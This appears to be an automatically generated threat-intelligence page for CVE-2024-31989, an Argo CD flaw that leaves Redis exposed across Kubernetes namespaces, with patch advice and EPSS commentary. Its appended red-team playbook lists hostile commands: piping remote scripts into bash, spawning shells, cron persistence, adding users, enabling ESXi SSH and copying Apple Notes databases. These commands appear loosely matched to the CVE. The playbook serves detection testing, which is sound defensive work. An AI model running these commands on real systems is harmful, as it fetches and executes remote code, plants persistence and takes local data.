CVE-2024-31989
Overview
This vulnerability is an unauthorized network access flaw caused by misconfigured network policy enforcement in Kubernetes clusters running Argo CD. The root cause lies in the default accessibility of the Redis server on port 6379, which can be reached by unprivileged pods in different namespaces due to manual enablement requirements of the VPC CNI plugin's network policies. The affected component is the Redis server instance deployed within Argo CD's environment on EKS clusters without strict network segmentation.
Vulnerability Description
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. It has been discovered that an unprivileged pod in a different namespace on the same cluster could connect to the Redis server on port 6379. Despite having installed the latest version of the VPC CNI plugin on the EKS cluster, it requires manual enablement through configuration to enforce network policies. This raises concerns that many clients might unknowingly have open access to their Redis servers. This vulnerability could lead to Privilege Escalation to the level of cluster controller, or to information leakage, affecting anyone who does not have strict access controls on their Redis instance. This issue has been patched in version(s) 2.8.19, 2.9.15 and 2.10.10.
Impact
An attacker controlling an unprivileged pod in a different namespace can connect to the Redis server, potentially escalating privileges to cluster controller level or extracting sensitive information stored in Redis. This requires network access within the same Kubernetes cluster but no additional authentication, as indicated by the CVSS vector (AV:A/AC:L/PR:L/UI:N). The breach can lead to lateral movement within the cluster, unauthorized data access, and compromise of cluster management operations.
Solution
Upgrade Argo CD to versions 2.8.19, 2.9.15, or 2.10.10 where this vulnerability is patched, as detailed in the GitHub advisory GHSA-9766-5277-j5hr. Additionally, manually enable and enforce network policies via the VPC CNI plugin configuration on EKS clusters to restrict pod-to-pod communication across namespaces. Refer to the official Argo CD security advisory and commit history for precise patch application and configuration instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Argo CD arises from improper network segmentation within Kubernetes clusters, specifically allowing unprivileged pods in different namespaces to access the Redis server on port 6379. This situation occurs despite the installation of the latest version of the VPC CNI plugin on Amazon EKS, which requires manual configuration to enforce network policies effectively. The lack of default network policy enforcement can lead to unintended exposure of Redis instances, which are often used for caching and data storage in cloud-native applications. Without stringent access controls, this opens a pathway for malicious actors to exploit the Redis service, potentially leading to privilege escalation and unauthorized access to sensitive data.
Attack vectors associated with this vulnerability are particularly concerning due to the ease with which an attacker could exploit the exposed Redis server. An unprivileged pod within the same Kubernetes cluster could initiate a connection to the Redis service, leveraging the default port without any authentication or authorization checks. Once connected, an attacker could execute commands to manipulate data, extract sensitive information, or escalate privileges to gain control over the cluster controller. This exploitation could be executed through simple scripts or automated tools, making it accessible even to individuals with limited technical expertise. The potential for lateral movement within the cluster further amplifies the risk, as attackers could pivot to other services or components, leading to a broader compromise.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Argo CD for continuous delivery in Kubernetes environments. Businesses that have not implemented strict access controls on their Redis instances may face severe consequences, including data breaches, loss of intellectual property, and disruption of services. The financial implications can be substantial, with costs associated with incident response, regulatory fines, and damage to reputation. Furthermore, the potential for privilege escalation could allow attackers to manipulate deployment processes, leading to unauthorized changes in production environments, which could compromise service integrity and availability.
To detect and mitigate this vulnerability, organizations should prioritize the implementation of robust network policies within their Kubernetes clusters. This includes configuring the VPC CNI plugin to enforce strict access controls and ensuring that only authorized pods can communicate with the Redis service. Regular audits of network configurations and access controls are essential to identify and remediate any misconfigurations that could expose sensitive services. Additionally, organizations should monitor network traffic for unusual patterns that may indicate an attempted exploitation of the Redis server. Employing security best practices, such as using Redis with authentication enabled, limiting access to trusted IP addresses, and regularly updating software to the latest patched versions, will further reduce the risk of exploitation.
In conclusion, the vulnerability in Argo CD highlights critical weaknesses in network policy enforcement within Kubernetes environments. The ease of exploitation and the potential for significant business impact underscore the necessity for organizations to adopt a proactive security posture. By implementing stringent access controls, conducting regular security assessments, and ensuring timely updates, businesses can safeguard their applications and data against the risks posed by this vulnerability.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-31989, reflecting a growing likelihood of exploitation in the near term. This upward trend, now placing the vulnerability near the 94th percentile for exploitability, signals heightened attacker interest and potential targeting within Kubernetes environments leveraging Argo CD. Concurrently, a new proof-of-concept exploit has surfaced on public repositories, lowering the barrier for adversaries to weaponize this vulnerability. Our telemetry indicates a steady rise in reconnaissance and scanning activities consistent with attempts to identify exposed Redis instances on affected clusters. This evolving landscape elevates the urgency for defenders to reassess their exposure, as the increased EPSS score correlates with a tangible escalation in exploitation attempts. Consequently, the threat level for CVE-2024-31989 has intensified, underscoring its criticality and the pressing need for vigilant monitoring within Kubernetes deployments.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Argoproj | Argo Cd | All |
cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
|
|
|
Argoproj | Argo Cd | All |
cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
|
|
|
Argoproj | Argo Cd | All |
cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
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|
Argoproj | Argo Cd | All |
cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
vt0x78/CVE-2024-31989
Exploit for CVE-2024-31989.
|
vt0x78 | 3 | 0 | 2024-07-17 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}"
$fileExtensions = $fileExtensionsString -split ", "
New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null
Function Search-Files {
param (
[string]$directory
)
$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
$fileExtensions -contains $_.Extension.ToLower()
}
return $files
}
$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
$foundFilePaths = $foundFiles.FullName
Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"
Write-Host "Zip file created: $outputZip\data.zip"
} else {
Write-Host "No files found with the specified extensions."
}
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.